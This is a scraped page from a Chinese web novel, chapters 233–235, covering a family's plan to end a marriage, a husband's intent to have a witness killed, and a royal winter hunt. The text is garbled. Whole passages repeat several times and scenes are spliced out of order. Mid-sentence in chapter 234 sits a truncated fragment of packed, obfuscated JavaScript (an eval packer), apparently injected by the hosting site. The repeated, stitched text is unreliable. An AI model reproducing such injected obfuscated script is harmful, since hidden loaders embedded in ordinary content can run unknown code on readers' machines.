这承诺挺诱人的。 但春喜想也没想就拒绝了:“禾儿叫我一声小婶婶,那就是把我当成长辈看待,关心她是我应该做的事,不用别人给我好处。” 萧夜辰的眸子顿时暗了下去。 是啊,沈夫人是大小姐的长辈,关心大小姐是应该的,没有资格关心大小姐的人是他。 “多谢。” 说完这句话,萧夜辰便要下车,刚掀起一点儿帘子,又听到春喜说:“对了,禾儿让我给你带句话,谢谢你昨晚出手相救。” 萧夜辰的眸子猛然变亮,一颗心也不受控制地狂跳起来,他还想问萧清禾有没有说其他的,车帘突然被掀开,来接春喜的沈清渊站在外面:“你们在做什么?” 春喜:“……”!!! 楚。 萧家知道禾儿小产的事本就震怒不已,若再知道这件事,完全可以趁机提出和离。 一旦和离,他和禾儿就不可能有以后了。 这个念头一冒出来,就让卫凌泽心脏闷痛起来。 这一刻,他无比清晰地意识到,他不能失去禾儿。 但他已经失去对春喜动手的时机,眼下想保住这个秘密,只能让那位州府夫人和她的儿子死在路上。 卫凌泽眸子变冷,很快做出决断。 与此同时,萧家。 春喜把自己这次被绑后,策反虎叔豹叔,查出幕后主使,最后在云州打着卫家的名义大闹一场的事都说出来。 萧夫人一开始听到卫凌泽想把她偷偷养在云州心里还有些别扭,听到后面整个人都被震住。 寻常女子被绑,早就吓得六神无主了,阿喜她怎么能策反绑匪,还打着卫家的名号把云州州府的儿子打成残废? 萧老夫人倒是很容易就接受了这件事,她偏头对萧夫人说:“待会儿让人挑五十个身手上好的人去暗中迎一迎州府夫人,务必保证他们母子能顺利抵达瀚京。” 萧夫人眼皮一跳,有些不确定地问:“母亲,你的意思是泽儿会对他们下手?” 萧夫人虽然因为萧清禾的遭遇很生气,但对卫凌泽的印象还停留在几年前,并不觉得卫凌泽敢**州府夫人。 萧老夫人没有过多解释,只淡淡道:“这一路山高水长,谁也不知道会出什么事,稳妥些总归是好的。” 等州府夫人进了京,萧家便可以抓着卫凌泽偷养外室和私生子的事趁机提出和离了。 萧夫人知道萧老夫人的打算,当即点头道:“好,我这就去安排。” 萧清禾的状态不好,春喜陪她说了许久的话,吃过晚饭才离开。 春喜没想到卫凌泽会干出如此下作的事,从萧家出来心情也不是很好,她决定这几日多来萧家陪陪禾儿,免得禾儿想不开。 心里想着事,春喜有些走神,因此掀开车帘发现萧夜辰这么大个人杵在车里,春喜吓得险些惊叫出声。 “沈夫人别怕,是我。” 萧夜辰及时开口,饶是如此,春喜还是被吓得心脏怦怦地跳。 不是,这天都要黑了,马车里突然多了这么个大活人,谁能不怕啊。 春喜拍拍胸口,深吸两口气才坐进马车,刚坐稳就听到萧夜辰问:“大小姐还好吗?” 春喜没太适应这个称呼,愣了一下才反应过来他问的是萧清禾。 春喜知道昨晚是他把禾儿救回家的,如实道:“禾儿还有点发烧,受了惊吓还很难过,状态不是很好。” “那这几天能不能请沈夫人多陪陪大小姐?”萧夜辰立刻追问,不等春喜回答又道,“只要沈夫人愿意帮这个忙,以后不管沈夫人遇到什么事,无忧阁都会倾力相助!” 这承诺挺诱人的。 但春喜想也没想就拒绝了:“禾儿叫我一声小婶婶,那就是把我当成长辈看待,关心她是我应该做的事,不用别人给我好处。” 萧夜辰的眸子顿时暗了下去。 是啊,沈夫人是大小姐的长辈,关心大小姐是应该的,没有资格关心大小姐的人是他。 “多谢。” 说完这句话,萧夜辰便要下车,刚掀起一点儿帘子,又听到春喜说:“对了,禾儿让我给你带句话,谢谢你昨晚出手相救。” 萧夜辰的眸子猛然变亮,一颗心也不受控制地狂跳起来,他还想问萧清禾有没有说其他的,车帘突然被掀开,来接春喜的沈清渊站在外面:“你们在做什么?” 春喜:“……”!!! 楚。 萧家知道禾儿小产的事本就震怒不已,若再知道这件事,完全可以趁机提出和离。 一旦和离,他和禾儿就不可能有以后了。 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萧夫人虽然因为萧清禾的遭遇很生气,但对卫凌泽的印象还停留在几年前,并不觉得卫凌泽敢**州府夫人。 萧老夫人没有过多解释,只淡淡道:“这一路山高水长,谁也不知道会出什么事,稳妥些总归是好的。” 等州府夫人进了京,萧家便可以抓着卫凌泽偷养外室和私生子的事趁机提出和离了。 萧夫人知道萧老夫人的打算,当即点头道:“好,我这就去安排。” 萧清禾的状态不好,春喜陪她说了许久的话,吃过晚饭才离开。 春喜没想到卫凌泽会干出如此下作的事,从萧家出来心情也不是很好,她决定这几日多来萧家陪陪禾儿,免得禾儿想不开。 心里想着事,春喜有些走神,因此掀开车帘发现萧夜辰这么大个人杵在车里,春喜吓得险些惊叫出声。 “沈夫人别怕,是我。” 萧夜辰及时开口,饶是如此,春喜还是被吓得心脏怦怦地跳。 不是,这天都要黑了,马车里突然多了这么个大活人,谁能不怕啊。 春喜拍拍胸口,深吸两口气才坐进马车,刚坐稳就听到萧夜辰问:“大小姐还好吗?” 春喜没太适应这个称呼,愣了一下才反应过来他问的是萧清禾。 春喜知道昨晚是他把禾儿救回家的,如实道:“禾儿还有点发烧,受了惊吓还很难过,状态不是很好。” “那这几天能不能请沈夫人多陪陪大小姐?”萧夜辰立刻追问,不等春喜回答又道,“只要沈夫人愿意帮这个忙,以后不管沈夫人遇到什么事,无忧阁都会倾力相助!” 这承诺挺诱人的。 但春喜想也没想就拒绝了:“禾儿叫我一声小婶婶,那就是把我当成长辈看待,关心她是我应该做的事,不用别人给我好处。” 萧夜辰的眸子顿时暗了下去。 是啊,沈夫人是大小姐的长辈,关心大小姐是应该的,没有资格关心大小姐的人是他。 “多谢。” 说完这句话,萧夜辰便要下车,刚掀起一点儿帘子,又听到春喜说:“对了,禾儿让我给你带句话,谢谢你昨晚出手相救。” 萧夜辰的眸子猛然变亮,一颗心也不受控制地狂跳起来,他还想问萧清禾有没有说其他的,车帘突然被掀开,来接春喜的沈清渊站在外面:“你们在做什么?” 春喜:“……”!!! 楚。 萧家知道禾儿小产的事本就震怒不已,若再知道这件事,完全可以趁机提出和离。 一旦和离,他和禾儿就不可能有以后了。 这个念头一冒出来,就让卫凌泽心脏闷痛起来。 这一刻,他无比清晰地意识到,他不能失去禾儿。 但他已经失去对春喜动手的时机,眼下想保住这个秘密,只能让那位州府夫人和她的儿子死在路上。 卫凌泽眸子变冷,很快做出决断。 与此同时,萧家。 春喜把自己这次被绑后,策反虎叔豹叔,查出幕后主使,最后在云州打着卫家的名义大闹一场的事都说出来。 萧夫人一开始听到卫凌泽想把她偷偷养在云州心里还有些别扭,听到后面整个人都被震住。 寻常女子被绑,早就吓得六神无主了,阿喜她怎么能策反绑匪,还打着卫家的名号把云州州府的儿子打成残废? 萧老夫人倒是很容易就接受了这件事,她偏头对萧夫人说:“待会儿让人挑五十个身手上好的人去暗中迎一迎州府夫人,务必保证他们母子能顺利抵达瀚京。” 萧夫人眼皮一跳,有些不确定地问:“母亲,你的意思是泽儿会对他们下手?” 萧夫人虽然因为萧清禾的遭遇很生气,但对卫凌泽的印象还停留在几年前,并不觉得卫凌泽敢**州府夫人。 萧老夫人没有过多解释,只淡淡道:“这一路山高水长,谁也不知道会出什么事,稳妥些总归是好的。” 等州府夫人进了京,萧家便可以抓着卫凌泽偷养外室和私生子的事趁机提出和离了。 萧夫人知道萧老夫人的打算,当即点头道:“好,我这就去安排。” 萧清禾的状态不好,春喜陪她说了许久的话,吃过晚饭才离开。 春喜没想到卫凌泽会干出如此下作的事,从萧家出来心情也不是很好,她决定这几日多来萧家陪陪禾儿,免得禾儿想不开。 心里想着事,春喜有些走神,因此掀开车帘发现萧夜辰这么大个人杵在车里,春喜吓得险些惊叫出声。 “沈夫人别怕,是我。” 萧夜辰及时开口,饶是如此,春喜还是被吓得心脏怦怦地跳。 不是,这天都要黑了,马车里突然多了这么个大活人,谁能不怕啊。 春喜拍拍胸口,深吸两口气才坐进马车,刚坐稳就听到萧夜辰问:“大小姐还好吗?” 春喜没太适应这个称呼,愣了一下才反应过来他问的是萧清禾。 春喜知道昨晚是他把禾儿救回家的,如实道:“禾儿还有点发烧,受了惊吓还很难过,状态不是很好。” “那这几天能不能请沈夫人多陪陪大小姐?”萧夜辰立刻追问,不等春喜回答又道,“只要沈夫人愿意帮这个忙,以后不管沈夫人遇到什么事,无忧阁都会倾力相助!” 这承诺挺诱人的。 但春喜想也没想就拒绝了:“禾儿叫我一声小婶婶,那就是把我当成长辈看待,关心她是我应该做的事,不用别人给我好处。” 萧夜辰的眸子顿时暗了下去。 是啊,沈夫人是大小姐的长辈,关心大小姐是应该的,没有资格关心大小姐的人是他。 “多谢。” 说完这句话,萧夜辰便要下车,刚掀起一点儿帘子,又听到春喜说:“对了,禾儿让我给你带句话,谢谢你昨晚出手相救。” 萧夜辰的眸子猛然变亮,一颗心也不受控制地狂跳起来,他还想问萧清禾有没有说其他的,车帘突然被掀开,来接春喜的沈清渊站在外面:“你们在做什么?” 春喜:“……”!!! 楚。 萧家知道禾儿小产的事本就震怒不已,若再知道这件事,完全可以趁机提出和离。 一旦和离,他和禾儿就不可能有以后了。 这个念头一冒出来,就让卫凌泽心脏闷痛起来。 这一刻,他无比清晰地意识到,他不能失去禾儿。 但他已经失去对春喜动手的时机,眼下想保住这个秘密,只能让那位州府夫人和她的儿子死在路上。 卫凌泽眸子变冷,很快做出决断。 与此同时,萧家。 春喜把自己这次被绑后,策反虎叔豹叔,查出幕后主使,最后在云州打着卫家的名义大闹一场的事都说出来。 萧夫人一开始听到卫凌泽想把她偷偷养在云州心里还有些别扭,听到后面整个人都被震住。 寻常女子被绑,早就吓得六神无主了,阿喜她怎么能策反绑匪,还打着卫家的名号把云州州府的儿子打成残废? 萧老夫人倒是很容易就接受了这件事,她偏头对萧夫人说:“待会儿让人挑五十个身手上好的人去暗中迎一迎州府夫人,务必保证他们母子能顺利抵达瀚京。” 萧夫人眼皮一跳,有些不确定地问:“母亲,你的意思是泽儿会对他们下手?” 萧夫人虽然因为萧清禾的遭遇很生气,但对卫凌泽的印象还停留在几年前,并不觉得卫凌泽敢**州府夫人。 萧老夫人没有过多解释,只淡淡道:“这一路山高水长,谁也不知道会出什么事,稳妥些总归是好的。” 等州府夫人进了京,萧家便可以抓着卫凌泽偷养外室和私生子的事趁机提出和离了。 萧夫人知道萧老夫人的打算,当即点头道:“好,我这就去安排。” 萧清禾的状态不好,春喜陪她说了许久的话,吃过晚饭才离开。 春喜没想到卫凌泽会干出如此下作的事,从萧家出来心情也不是很好,她决定这几日多来萧家陪陪禾儿,免得禾儿想不开。 心里想着事,春喜有些走神,因此掀开车帘发现萧夜辰这么大个人杵在车里,春喜吓得险些惊叫出声。 “沈夫人别怕,是我。” 萧夜辰及时开口,饶是如此,春喜还是被吓得心脏怦怦地跳。 不是,这天都要黑了,马车里突然多了这么个大活人,谁能不怕啊。 春喜拍拍胸口,深吸两口气才坐进马车,刚坐稳就听到萧夜辰问:“大小姐还好吗?” 春喜没太适应这个称呼,愣了一下才反应过来他问的是萧清禾。 春喜知道昨晚是他把禾儿救回家的,如实道:“禾儿还有点发烧,受了惊吓还很难过,状态不是很好。” “那这几天能不能请沈夫人多陪陪大小姐?”萧夜辰立刻追问,不等春喜回答又道,“只要沈夫人愿意帮这个忙,以后不管沈夫人遇到什么事,无忧阁都会倾力相助!” 这承诺挺诱人的。 但春喜想也没想就拒绝了:“禾儿叫我一声小婶婶,那就是把我当成长辈看待,关心她是我应该做的事,不用别人给我好处。” 萧夜辰的眸子顿时暗了下去。 是啊,沈夫人是大小姐的长辈,关心大小姐是应该的,没有资格关心大小姐的人是他。 “多谢。” 说完这句话,萧夜辰便要下车,刚掀起一点儿帘子,又听到春喜说:“对了,禾儿让我给你带句话,谢谢你昨晚出手相救。” 萧夜辰的眸子猛然变亮,一颗心也不受控制地狂跳起来,他还想问萧清禾有没有说其他的,车帘突然被掀开,来接春喜的沈清渊站在外面:“你们在做什么?” 春喜:“……”!!! 第234章 冬猎 “夫君,事情不是你想的那样,你听我解释……” 萧夜辰一走,春喜就迫不及待地开口,却被沈清渊打断:“我没有误会,我知道他喜欢谁。” 春喜先是一惊,而后追问:“我今日才刚看出一点儿门道,夫君是什么时候知道的?” “你们第一次去无忧阁,他来找我的时候我就知道了。” “夫君那么早就知道了怎么不跟我说?” 春喜感觉自己错过了好多。 沈清渊横了她一眼,幽幽道:“当初我明着暗着示意夫人那么久,夫人都不能感受到我的心意,我就算说了夫人能信吗?” 春喜:“……” 好吧,她在这儿方面确实有些迟钝,为了避免沈清渊翻旧账,春喜连忙转移话题:“夫君不是说这几日会有些忙吗,今日怎么还有时间来接我?” “皇后娘娘今日派人通知,想让你也去参加今年的冬猎。” 春喜的眼睛顿时亮起:“我可以去吗?” 幼时爹爹也带春喜出门打过猎,她对打猎不好奇,但听说使臣团的人个个骑术精湛,英勇不凡,她想亲眼看看卫凌泽到底能不能在切磋中获胜。 春喜满脸的兴奋期待,沈清渊挑了下眉问:“夫人不害怕?” “不怕呀,夫君不是也会去吗,有夫君在我一点儿都不怕。” “可冬猎兹事体大,到时我不一定能时时看顾你。” “我又不是小孩子,哪里需要夫君时时看顾,而且我已经见过皇后和太后了,她们都是很好的人,夫君如今已是三品大员,我身为夫君的贤内助,能多在这样的场合露面结交些贵人也是好的。” 当初答应嫁给沈清渊,春喜就说过会做好沈夫人帮他安定好后宅,现在她也没有忘记初心。 沈清渊眸子微沉,抓着春喜的手认真道:“我希望夫人嫁与我,能够活得恣意快乐,夫人若是不喜欢,也不必逼着自己外出社交。” 春喜露出感动的表情,而后回握住沈清渊的手坚定道:“夫君放心,我可喜欢跟人打交道了。” 有了冬猎做借口,接下来的日子,春喜每天都到萧家拉着萧清禾和萧清月一起练骑射。 两人的身子都挺娇弱的,但见春喜能够如男儿一般策马疾驰,皆是眼前一亮。 萧清月胆子大些,很快就能自己上下马了,萧清禾却一直无法掌握技巧。 但一次次的失败并没有让她气馁,她认真听着春喜的纠正意见,然后不断总结经验,最终在第一天的日落时分 ,终于靠自己上了马。 萧清禾累出了一身的汗,鬓发黏在脸上,瞧着有些狼狈,不复平日的矜贵端庄,但她的眸子亮得惊人,像是攒着火苗。 小婶婶说得很对,人在高处看到的风景是不一样的。 练习结束后,三人都去萧老夫人的松鹤院用晚饭,萧夫人也跟着过来。 第一天消耗很大,萧清禾和萧清月的手累得有点发抖,夹菜都困难,但两人的脸红扑扑的,胃口也比平时好。 萧夫人见萧清禾吃了不少东西,心里也跟着高兴。 萧家跟卫家断亲虽然会有很多困难,但她更担心的是禾儿太伤心,没办法从这段糟糕的关系中走出来。 但眼下禾儿能吃能喝,并不郁郁寡欢,她心头的大石就落了地。 春喜是个很耐心也很有办法的先生,萧清禾和萧清月的骑术进步颇快,她自己更是精进不少。 这些日子卫凌泽没再来萧家自讨没趣,每日下值到家后,都要操练一两个时辰才睡,休沐那日更是从早练到晚。 很快,便到了冬猎的日子。 今年有使臣团在,冬猎的阵势比往年大很多,好些官家女眷都被允许随行,加上皇家依仗,队伍很是浩荡。 沈清渊要和御史台的大臣汇合,只看着春喜的马车汇入女眷车队就离开了。 皇家猎场在城郊十多里的地方,所有人直到午后才抵达。 禁卫军提前搭好了休息的营帐,春喜刚在宫娥的指引下找到自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她没念过多少书,科举这件事也离她十万八千里,她只知道状元郎很厉害,但不知道具体有多厉害,而且她之前见过沈清渊跟人动手打架,瞧着不像是书里写的那种绝世高手呀。 春喜一脸的懵懵懂懂,恒阳公主却弯眸笑道:“使臣团的轩辕朗要跟卫凌泽再次一较高下,你家老沈突然也要参加冬猎,看来今年的冬猎会很精彩啊。” “……” 公主,我怎么感觉你这语气像是希望他们打起来? 第235章 夫人可想我拔得头筹? 第一天舟车劳顿,大家在营地安顿下来后,天色就差不多暗了。 傍晚时分,营地外面的空地燃起篝火,摆上矮桌,夜风挺冷的,饭菜难以保温,随行的御厨准备了铜锅煮羊肉,又准备了一些凉拌菜。 难得出宫,没有那么多规矩,男女眷没有分席,只是按照官阶分坐。 萧清禾也来了,但她没有跟卫凌泽同坐,而是跟萧清月一起,与自己的父兄坐在一起。 萧清禾一出现,卫凌泽的目光就死死地黏在她身上,其他人也都偷偷打量起他们来。 感受到众人的目光,萧清禾神色如常,并没有给卫凌泽任何回应,卫凌泽顿时沉了脸。 这些日子他虽然没有去萧家自讨没趣,本以为冬猎之后,能够再找机会求得萧清禾的原谅,没想到萧家竟然会直接带着萧清禾出现,这简直就是在变相地向众人宣告他们的感情出问题了吗? 禾儿难道真的要与他和离?她能舍下这么多年青梅竹马的情谊? 这个念头不断涌出脑海,卫凌泽心慌得有些难以思考,使臣团的人并不知道卫凌泽在想什么,晚宴刚开始,轩辕朗就开口挑衅起卫凌泽来。 谁都看得出来,断臂之仇对他刻骨铭心,他已经迫不及待地想要再次跟卫凌泽一较高下了。 卫凌泽满脑子想着萧清禾,根本没有听清轩辕朗说什么,他没有回应,使臣团的人便以为他是没有底气害怕了,全都哈哈大笑起来。 陛下沉了脸,卫父连忙唤了卫凌泽一声,卫凌泽这才回过神来。 见使臣团众人笑得前俯后仰,卫凌泽抓紧酒杯,杀意顿起,他冷冷地看着轩辕朗说:“轩辕将军已经做过一次手下败将了,还丢了一只手臂,现在这么着急是嫌另一只胳膊不好用吗?” 使臣团的笑声戛然而止,轩辕朗倒是神情未变,他晃了晃空荡荡的衣袖,朗声道:“我已经适应只有一只胳膊的日子了,只是不知卫小将军要是也失去一只胳膊,能不能像我这样振作起来。” 说到最后,轩辕朗挑了下眉,如同毒蛇幽幽地盯着卫凌泽的右臂,仿佛已经把卫凌泽的胳膊砍了下来。 咔嗒。 手里的酒杯发出轻微的碎裂声,卫凌泽压下怒火,勾唇露出一抹狞笑:“轩辕将军与其担心这种根本不会发生的事,不如多担心担心自己。” 两人之间剑拔**张,让众人越发期待起明日的冬猎来。 晚宴一结束,卫凌泽就迫不及待去找萧清禾,但他还没走到萧清禾所在的营帐,就被萧清阳拦下:“ 那边是女眷营帐,卫小将军再走就越矩了。” 卫凌泽放软语气:“二哥,我只是想去找禾儿说几句话。” “这些日子卫小将军不是很沉得住气吗,有什么话就不能等冬猎结束后再说?” 萧清阳的语气和神情都充满嘲讽,卫凌泽心头一紧,低声解释:“二哥,这些日子我没有一天不想禾儿,只是轩辕朗的态度有多嚣张二哥也看到了,我必须多花些精力应付才行,并不是有意要冷落禾儿,二哥与我同朝为官,应该能理解我的处境。” 萧清阳当然能理解。 如果萧清禾跟卫凌泽感情如初,早在知道使臣团提出这种要求的时候,萧家就会出面帮卫凌泽推掉这场比试。 他瘫痪在床三年,虽然已康复大半年,但身手远不如三年前,万一输了,必然是前程尽毁。 萧家是不会眼睁睁地看着自家女婿落入如此境地的。 可禾儿在卫家受了那么多的委屈,如今萧家都有了和卫家断亲的打算,卫凌泽前程如何与萧家又有什么关系呢? 萧清阳扯了扯唇,笑意不达眼底:“你既然知道正事为重,这个时候又找禾儿做什么呢,万一明日你状态不好,卫家人岂不是要怨怪禾儿说了什么话害你心神不宁?” “二哥,卫家不会如此对禾儿的。” 卫凌泽控制不住拔高声音,整个人越发焦躁。 萧清阳并不惯着他,同样拔高声音:“你吼什么,禾儿这些日子在卫家受了多少委屈你心里没数吗?” “二哥……” “别叫我二哥,明日冬猎就开始了,你该早点回去休息养足精神,你若非要纠缠,那我们现在就去御前好好说清楚。” 萧清阳态度强硬,卫凌泽到底不敢闹到御前,僵持片刻,只能憋着一肚子气回了自己的营帐。 卫凌泽没能见到萧清禾,春喜和恒阳公主倒是在萧清禾的营帐待了很久。 恒阳公主也看出萧家对卫凌泽的态度不太一样了,但她没有探究八卦,只挑和冬猎有关的事聊。 得知春喜这段时日都有去萧家带萧清禾和萧清月练习骑射,恒阳公主顿时吃味:“有这么好玩的事你们怎么不早些叫我,不行,明日阿喜一定要与本公主好好比试一番。” “好啊,”春喜毫不犹豫地点头,半开玩笑道,“臣妇挺擅长这个的,到时可不会让着公主哦。” “巧了,本公主的骑射之术也还不错,阿喜若不拼尽全力跟本公主比,本公主定要治你的罪!” 约定好比试,恒阳公主兴致勃勃地离开,萧清禾和萧清月也有些期待。 春喜回到营帐立刻跟沈清渊说了这件事,沈清渊并不意外,淡声叮嘱:“输赢不重要,注意安全,开心就好。” 春喜凑过去,戳了戳他的胳膊:“今天公主说夫君的骑射很厉害,夫君有把握在这次冬猎中拔得头筹吗?” 沈清渊偏头睨着她:“夫人想让我拔得头筹?” 这话说得好像春喜想他就能做到一样。 春喜眨眨眼,片刻后露出笑容,学着他刚刚的语气说:“输赢不重要,我只要夫君注意安全,开心就好。” 沈清渊被春喜一本正经的表情逗乐,扣住她的脑袋亲了下来。 过了会儿,春喜听到他说:“夫人有多少把握能赢得公主,为夫就有多少把握拔得头筹。” “……”!!! 第二日,简单的祭祀之后,冬猎拉开序幕。 那边是女眷营帐,卫小将军再走就越矩了。” 卫凌泽放软语气:“二哥,我只是想去找禾儿说几句话。” “这些日子卫小将军不是很沉得住气吗,有什么话就不能等冬猎结束后再说?” 萧清阳的语气和神情都充满嘲讽,卫凌泽心头一紧,低声解释:“二哥,这些日子我没有一天不想禾儿,只是轩辕朗的态度有多嚣张二哥也看到了,我必须多花些精力应付才行,并不是有意要冷落禾儿,二哥与我同朝为官,应该能理解我的处境。” 萧清阳当然能理解。 如果萧清禾跟卫凌泽感情如初,早在知道使臣团提出这种要求的时候,萧家就会出面帮卫凌泽推掉这场比试。 他瘫痪在床三年,虽然已康复大半年,但身手远不如三年前,万一输了,必然是前程尽毁。 萧家是不会眼睁睁地看着自家女婿落入如此境地的。 可禾儿在卫家受了那么多的委屈,如今萧家都有了和卫家断亲的打算,卫凌泽前程如何与萧家又有什么关系呢? 萧清阳扯了扯唇,笑意不达眼底:“你既然知道正事为重,这个时候又找禾儿做什么呢,万一明日你状态不好,卫家人岂不是要怨怪禾儿说了什么话害你心神不宁?” “二哥,卫家不会如此对禾儿的。” 卫凌泽控制不住拔高声音,整个人越发焦躁。 萧清阳并不惯着他,同样拔高声音:“你吼什么,禾儿这些日子在卫家受了多少委屈你心里没数吗?” “二哥……” “别叫我二哥,明日冬猎就开始了,你该早点回去休息养足精神,你若非要纠缠,那我们现在就去御前好好说清楚。” 萧清阳态度强硬,卫凌泽到底不敢闹到御前,僵持片刻,只能憋着一肚子气回了自己的营帐。 卫凌泽没能见到萧清禾,春喜和恒阳公主倒是在萧清禾的营帐待了很久。 恒阳公主也看出萧家对卫凌泽的态度不太一样了,但她没有探究八卦,只挑和冬猎有关的事聊。 得知春喜这段时日都有去萧家带萧清禾和萧清月练习骑射,恒阳公主顿时吃味:“有这么好玩的事你们怎么不早些叫我,不行,明日阿喜一定要与本公主好好比试一番。” “好啊,”春喜毫不犹豫地点头,半开玩笑道,“臣妇挺擅长这个的,到时可不会让着公主哦。” “巧了,本公主的骑射之术也还不错,阿喜若不拼尽全力跟本公主比,本公主定要治你的罪!” 约定好比试,恒阳公主兴致勃勃地离开,萧清禾和萧清月也有些期待。 春喜回到营帐立刻跟沈清渊说了这件事,沈清渊并不意外,淡声叮嘱:“输赢不重要,注意安全,开心就好。” 春喜凑过去,戳了戳他的胳膊:“今天公主说夫君的骑射很厉害,夫君有把握在这次冬猎中拔得头筹吗?” 沈清渊偏头睨着她:“夫人想让我拔得头筹?” 这话说得好像春喜想他就能做到一样。 春喜眨眨眼,片刻后露出笑容,学着他刚刚的语气说:“输赢不重要,我只要夫君注意安全,开心就好。” 沈清渊被春喜一本正经的表情逗乐,扣住她的脑袋亲了下来。 过了会儿,春喜听到他说:“夫人有多少把握能赢得公主,为夫就有多少把握拔得头筹。” “……”!!! 第二日,简单的祭祀之后,冬猎拉开序幕。 那边是女眷营帐,卫小将军再走就越矩了。” 卫凌泽放软语气:“二哥,我只是想去找禾儿说几句话。” “这些日子卫小将军不是很沉得住气吗,有什么话就不能等冬猎结束后再说?” 萧清阳的语气和神情都充满嘲讽,卫凌泽心头一紧,低声解释:“二哥,这些日子我没有一天不想禾儿,只是轩辕朗的态度有多嚣张二哥也看到了,我必须多花些精力应付才行,并不是有意要冷落禾儿,二哥与我同朝为官,应该能理解我的处境。” 萧清阳当然能理解。 如果萧清禾跟卫凌泽感情如初,早在知道使臣团提出这种要求的时候,萧家就会出面帮卫凌泽推掉这场比试。 他瘫痪在床三年,虽然已康复大半年,但身手远不如三年前,万一输了,必然是前程尽毁。 萧家是不会眼睁睁地看着自家女婿落入如此境地的。 可禾儿在卫家受了那么多的委屈,如今萧家都有了和卫家断亲的打算,卫凌泽前程如何与萧家又有什么关系呢? 萧清阳扯了扯唇,笑意不达眼底:“你既然知道正事为重,这个时候又找禾儿做什么呢,万一明日你状态不好,卫家人岂不是要怨怪禾儿说了什么话害你心神不宁?” “二哥,卫家不会如此对禾儿的。” 卫凌泽控制不住拔高声音,整个人越发焦躁。 萧清阳并不惯着他,同样拔高声音:“你吼什么,禾儿这些日子在卫家受了多少委屈你心里没数吗?” “二哥……” “别叫我二哥,明日冬猎就开始了,你该早点回去休息养足精神,你若非要纠缠,那我们现在就去御前好好说清楚。” 萧清阳态度强硬,卫凌泽到底不敢闹到御前,僵持片刻,只能憋着一肚子气回了自己的营帐。 卫凌泽没能见到萧清禾,春喜和恒阳公主倒是在萧清禾的营帐待了很久。 恒阳公主也看出萧家对卫凌泽的态度不太一样了,但她没有探究八卦,只挑和冬猎有关的事聊。 得知春喜这段时日都有去萧家带萧清禾和萧清月练习骑射,恒阳公主顿时吃味:“有这么好玩的事你们怎么不早些叫我,不行,明日阿喜一定要与本公主好好比试一番。” “好啊,”春喜毫不犹豫地点头,半开玩笑道,“臣妇挺擅长这个的,到时可不会让着公主哦。” “巧了,本公主的骑射之术也还不错,阿喜若不拼尽全力跟本公主比,本公主定要治你的罪!” 约定好比试,恒阳公主兴致勃勃地离开,萧清禾和萧清月也有些期待。 春喜回到营帐立刻跟沈清渊说了这件事,沈清渊并不意外,淡声叮嘱:“输赢不重要,注意安全,开心就好。” 春喜凑过去,戳了戳他的胳膊:“今天公主说夫君的骑射很厉害,夫君有把握在这次冬猎中拔得头筹吗?” 沈清渊偏头睨着她:“夫人想让我拔得头筹?” 这话说得好像春喜想他就能做到一样。 春喜眨眨眼,片刻后露出笑容,学着他刚刚的语气说:“输赢不重要,我只要夫君注意安全,开心就好。” 沈清渊被春喜一本正经的表情逗乐,扣住她的脑袋亲了下来。 过了会儿,春喜听到他说:“夫人有多少把握能赢得公主,为夫就有多少把握拔得头筹。” “……”!!! 第二日,简单的祭祀之后,冬猎拉开序幕。 那边是女眷营帐,卫小将军再走就越矩了。” 卫凌泽放软语气:“二哥,我只是想去找禾儿说几句话。” “这些日子卫小将军不是很沉得住气吗,有什么话就不能等冬猎结束后再说?” 萧清阳的语气和神情都充满嘲讽,卫凌泽心头一紧,低声解释:“二哥,这些日子我没有一天不想禾儿,只是轩辕朗的态度有多嚣张二哥也看到了,我必须多花些精力应付才行,并不是有意要冷落禾儿,二哥与我同朝为官,应该能理解我的处境。” 萧清阳当然能理解。 如果萧清禾跟卫凌泽感情如初,早在知道使臣团提出这种要求的时候,萧家就会出面帮卫凌泽推掉这场比试。 他瘫痪在床三年,虽然已康复大半年,但身手远不如三年前,万一输了,必然是前程尽毁。 萧家是不会眼睁睁地看着自家女婿落入如此境地的。 可禾儿在卫家受了那么多的委屈,如今萧家都有了和卫家断亲的打算,卫凌泽前程如何与萧家又有什么关系呢? 萧清阳扯了扯唇,笑意不达眼底:“你既然知道正事为重,这个时候又找禾儿做什么呢,万一明日你状态不好,卫家人岂不是要怨怪禾儿说了什么话害你心神不宁?” “二哥,卫家不会如此对禾儿的。” 卫凌泽控制不住拔高声音,整个人越发焦躁。 萧清阳并不惯着他,同样拔高声音:“你吼什么,禾儿这些日子在卫家受了多少委屈你心里没数吗?” “二哥……” “别叫我二哥,明日冬猎就开始了,你该早点回去休息养足精神,你若非要纠缠,那我们现在就去御前好好说清楚。” 萧清阳态度强硬,卫凌泽到底不敢闹到御前,僵持片刻,只能憋着一肚子气回了自己的营帐。 卫凌泽没能见到萧清禾,春喜和恒阳公主倒是在萧清禾的营帐待了很久。 恒阳公主也看出萧家对卫凌泽的态度不太一样了,但她没有探究八卦,只挑和冬猎有关的事聊。 得知春喜这段时日都有去萧家带萧清禾和萧清月练习骑射,恒阳公主顿时吃味:“有这么好玩的事你们怎么不早些叫我,不行,明日阿喜一定要与本公主好好比试一番。” “好啊,”春喜毫不犹豫地点头,半开玩笑道,“臣妇挺擅长这个的,到时可不会让着公主哦。” “巧了,本公主的骑射之术也还不错,阿喜若不拼尽全力跟本公主比,本公主定要治你的罪!” 约定好比试,恒阳公主兴致勃勃地离开,萧清禾和萧清月也有些期待。 春喜回到营帐立刻跟沈清渊说了这件事,沈清渊并不意外,淡声叮嘱:“输赢不重要,注意安全,开心就好。” 春喜凑过去,戳了戳他的胳膊:“今天公主说夫君的骑射很厉害,夫君有把握在这次冬猎中拔得头筹吗?” 沈清渊偏头睨着她:“夫人想让我拔得头筹?” 这话说得好像春喜想他就能做到一样。 春喜眨眨眼,片刻后露出笑容,学着他刚刚的语气说:“输赢不重要,我只要夫君注意安全,开心就好。” 沈清渊被春喜一本正经的表情逗乐,扣住她的脑袋亲了下来。 过了会儿,春喜听到他说:“夫人有多少把握能赢得公主,为夫就有多少把握拔得头筹。” “……”!!! 第二日,简单的祭祀之后,冬猎拉开序幕。 那边是女眷营帐,卫小将军再走就越矩了。” 卫凌泽放软语气:“二哥,我只是想去找禾儿说几句话。” “这些日子卫小将军不是很沉得住气吗,有什么话就不能等冬猎结束后再说?” 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沈清渊被春喜一本正经的表情逗乐,扣住她的脑袋亲了下来。 过了会儿,春喜听到他说:“夫人有多少把握能赢得公主,为夫就有多少把握拔得头筹。” “……”!!! 